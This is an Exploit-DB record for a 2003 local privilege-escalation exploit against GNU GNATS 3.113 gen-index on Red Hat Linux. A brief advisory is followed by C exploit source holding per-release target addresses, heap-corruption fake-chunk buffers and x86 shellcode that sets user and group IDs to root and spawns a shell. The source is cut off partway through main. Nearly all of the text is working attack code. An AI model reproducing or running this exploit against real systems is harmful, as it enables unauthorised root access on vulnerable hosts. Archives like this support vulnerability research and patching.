Exploit-DB #22815
Description: GNU GNATS 3.113 - Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2003-06-21
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/8005/info

It has been reported that GNATS is prone to a buffer overflow condition when parsing certain environment variables.

An attacker can exploit this vulnerability by setting an overly long environment variable and invoking one of several GNATS utilities. This will trigger the overflow condition and will result in the corruption of sensitive memory.

Successful exploitation may result in the execution of attacker-supplied code with elevated privileges. 

/*
**
** GNATS v3.113.x (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define VERSION "v0.0.2"
#define ATK_TG "/usr/local/libexec/gnats/gen-index"
typedef struct
{
	int os_t_nm;
	char *os_t;
	u_long got_dtors;
	u_long sh_code;
	u_long fk_chunk_addr;
	u_long fk_chunk_ptr;
	int off_st;
} l_sux_tg;
/*
**
** Structure: --
** fake chunk pointer -> &(fake chunk address) -> fake chunk header
** state_entry *next;    u_long fk_chunk_ptr;     u_long fk_chunk_addr;
*/
/*
// Format for the states file.
typedef struct state_entry {
	// State name.
	char *key;
	// State type.
	char *type;
	// Documentation string.
	char *description;
	// pointer to next record
	struct state_entry *next; // <- here.
} States;
States *s,*s_start=NULL,*s_end=NULL;
FILE *fp;
int ntypes=2;
static char *types[2];
int nstates=5;
static char *states[5];
static char *descst[5];
char line[255];
char **array=(char **)alloca(3*4);
char *path=(char *)alloca(4095);
4436 + 16;
*/
l_sux_tg os_tg[]=
{
	{
		0,"Red Hat Linux release 6.1 (Cartman) "
		": GNATS gen-index v3.113",
		0x08056fdc, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x0805795c, /* fake chunk header */
		0x0805828c, /* &(fake chunk addr) ptr */
		-0x38
	},
	{
		1,"Red Hat Linux release 6.1 (Cartman) "
		": GNATS gen-index v3.113.1",
		0x0805711c, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x08057a9c, /* fake chunk header */
		0x0805889c, /* &(fake chunk addr) ptr */
		-0x38
	},
	{
		2,"Red Hat Linux release 6.2 (Zoot) "
		": GNATS gen-index v3.113",
		0x08056fdc, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x080577cc, /* fake chunk header */
		0x080581fc, /* &(fake chunk addr) ptr */
		-0x38
	},
	{
		3,"Red Hat Linux release 6.2 (Zoot) "
		": GNATS gen-index v3.113.1",
		0x0805711c, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x0805790c, /* fake chunk header */
		0x0805836c, /* &(fake chunk addr) ptr */
		-0x38
	},
	{
		4,"Red Hat Linux release 7.0 (Guinness) "
		": GNATS gen-index v3.113",
		0x08056d1c, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x0805750c, /* fake chunk header */
		0x08058504, /* &(fake chunk addr) ptr */
		0x0
	},
	{
		5,"Red Hat Linux release 7.0 (Guinness) "
		": GNATS gen-index v3.113.1",
		0x08056e3c, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x0805762c, /* fake chunk header */
		0x08057f4c, /* &(fake chunk addr) ptr */
		0x0
	},
	{
		6,"Red Hat Linux release 7.3 (Valhalla) "
		": GNATS gen-index v3.113",
		0x08056794, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x08056f2c, /* fake chunk header */
		0x08057fec, /* &(fake chunk addr) ptr */
		-0x20
	},
	{
		7,"Red Hat Linux release 7.3 (Valhalla) "
		": GNATS gen-index v3.113.1",
		0x08055e88, /* fprintf GOT */
		0xbfffedee, /* shellcode */
		0x0805662c, /* fake chunk header */
		0x08056f2c, /* &(fake chunk addr) ptr */
		-0x20
	},
	{
		8,(NULL),0x82828282,0x0,0x0,0x0,0
	}
};

char shellcode[]= /* NOP + setreuid + setregid + 23byte shellcode */
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0); */
"\x31\xc0\xb0\x47\x31\xdb\x31\xc9\xcd\x80" /* setregid(0,0); */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

void pre_usage(char *pre_f_nm);
int main(int argc,char *argv[])
{
	int g_g_bf=(0),km_jm,__verbs=(0);
	int tot_sh_sz=(sizeof(shellcode)+(100*4)+1);

	char env_sh[tot_sh_sz]; /* NOP + shellcode */
	char chunk_hd_garbage[6]={0x82,0x82,0x82,0x82};
	char fk_chunk_fst_hd[8]={0xf0,0xff,0xff,0xff};
	char fk_chunk_scd_hd[8]={0xfc,0xff,0xff,0xff};
	char p_rev_size[8]={0xfc,0xff,0xff,0xff};
	char __size_fd[8]={0xff,0xff,0xff,0xff};

#define DEF_C2PT_VAL (5000)
	u_char tot_atk_c2pt_bf[(DEF_C2PT_VAL)];
	u_char logr_chunk_hd_c2pt[0x32]= /* libc_free ptr_tg */
	{
#ifdef PR_CF
		0xf0,0xff,0xff,0xff, /* prev_size */
		0xfc,0xff,0xff,0xff, /* size_fd */
		0x0,0x0,0x0,0x0, /* fd ptr */
#endif
		0x0,0x0,0x0,0x0, /* bk ptr */
		0xfc,0xff,0xff,0xff, /* prev_size */
		0xff,0xff,0xff,0xff, /* size_fd */
		0x0,0x0,0x0,0x0, /* fd ptr */
		0x0,0x0,0x0,0x0 /* bk ptr */
	};
	char arg_set_lst_one_byte[0x14]= /* argument setting */
	{
		0x41,0x41,0x41,0x41,0x42,0x42,0x42,0x42, /* offset:8 */
		0x43,0x43,0x43,0x43,0x44,0x44,0x44,0x44, /* offset:8 */
		0x11 /* fake chunk header information */
	};
	char fk_nstates_nm[8]={0xf0,0xff,0xff,0xff}; /* bypass nstates: -1 */
	char nop_jmp_nop_concept[6]={0x42,0x0c,0xeb,0x41};
				//{0x90,0x0e,0xeb,0x40};
#define DEF_ZR (0)
	int os_atk_tp=(DEF_ZR);
	int sys_off_st=(os_tg[os_atk_tp].off_st);
	u_long got_dtors=(os_tg[os_atk_tp].got_dtors);
	u_long sh_code=(os_tg[os_atk_tp].sh_code);
	u_long fk_chunk_addr=(os_t